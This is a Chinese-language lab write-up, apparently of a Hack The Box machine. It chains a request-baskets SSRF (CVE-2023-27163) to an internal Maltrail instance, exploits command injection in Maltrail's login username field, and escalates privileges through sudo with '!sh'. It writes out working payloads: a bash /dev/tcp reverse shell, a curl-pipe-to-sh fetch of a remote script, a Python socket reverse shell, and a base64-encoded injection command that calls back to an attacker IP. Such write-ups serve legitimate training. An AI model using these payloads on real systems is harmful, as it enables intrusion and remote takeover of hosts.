信息搜集
  • Nmap扫描获取端口

    1
    sudo nmap -sV -sS -Pn 10.129.115.1 

    image-20230712150948667

Resquest-baskets SSRF漏洞(CVE-2023-27163
  • 访问55555端口,网页由request-baskets搭建,版本为1.2.1

image-20230712151155243

  • 搜索相关漏洞,发现该版本存在SSRF漏洞,相关链接和主要漏洞路径参数如下

    1
    2
    3
    4
    5
    #漏洞路径
    /api/baskets/{name}
    /baskets/{name}
    #漏洞参数
    forward_url
  • 探测漏洞是否存在(也可以使用tftp)

    1
    2
    3
    4
    5
    6
    7
    #kali开启python的HTTP服务
    python -m http.server 80
    #网站添加新的basket
    #点击setting添加url参数
    http://10.10.14.2
    #点击apply
    #访问http://10.129.115.1:55555/mb46q8b

    image-20230712152140715

    image-20230712152204056

    image-20230712152741129

    image-20230712152804898

SSRF探测80端口
  • nmap扫描端口时,存在一个80端口,外部无法访问。我们利用SSRF漏洞探测该端口

    1
    2
    3
    #设置forward url的参数如下
    http://127.0.0.1
    #访问http://10.129.115.1:55555/mb46q8b跳转到Maltrail页面

    image-20230712153302550

    image-20230712153609318

Maltrail 命令执行漏洞(Maltrail
  • 链接给出了详细的利用方式,漏洞位于用户登录页面的username参数,利用方式如下

    1
    curl 'http://hostname:port/login'  --data 'username=;`OS command`'
利用命令执行漏洞获取shell
  • kali开启python的HTTP服务,放置一句话木马文件

    1
    /bin/sh -i >& /dev/tcp/10.10.14.2/8888 0>&1
  • 在kali中执行如下命令,不能成功读取文件或者反弹shell

    1
    curl 'http://hostname:port/login'  --data 'username=;`curl http://10.10.14.2/shell.sh | sh`'
  • 上网搜索,发现在源项目中使用的是python环境,使用python反弹shell

    1
    2
    3
    4
    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
    #使用base64编码shell(使用kali自带的base64编码工具会出问题),最终payload如下
    curl 'http://10.129.80.238:55555/caqvfvp/login' \
    --data 'username=;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjUiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJw==|base64 -d|bash`'
  • 最终拿到shell,用户为puma

    image-20230713170334286

  • 使用find找到user.flag文件

    image-20230713170543327

提升权限
  • 使用sudo -l或者wget下载peas工具

    image-20230713173026618

  • 以sudo权限运行,输入!sh

    image-20230713173113306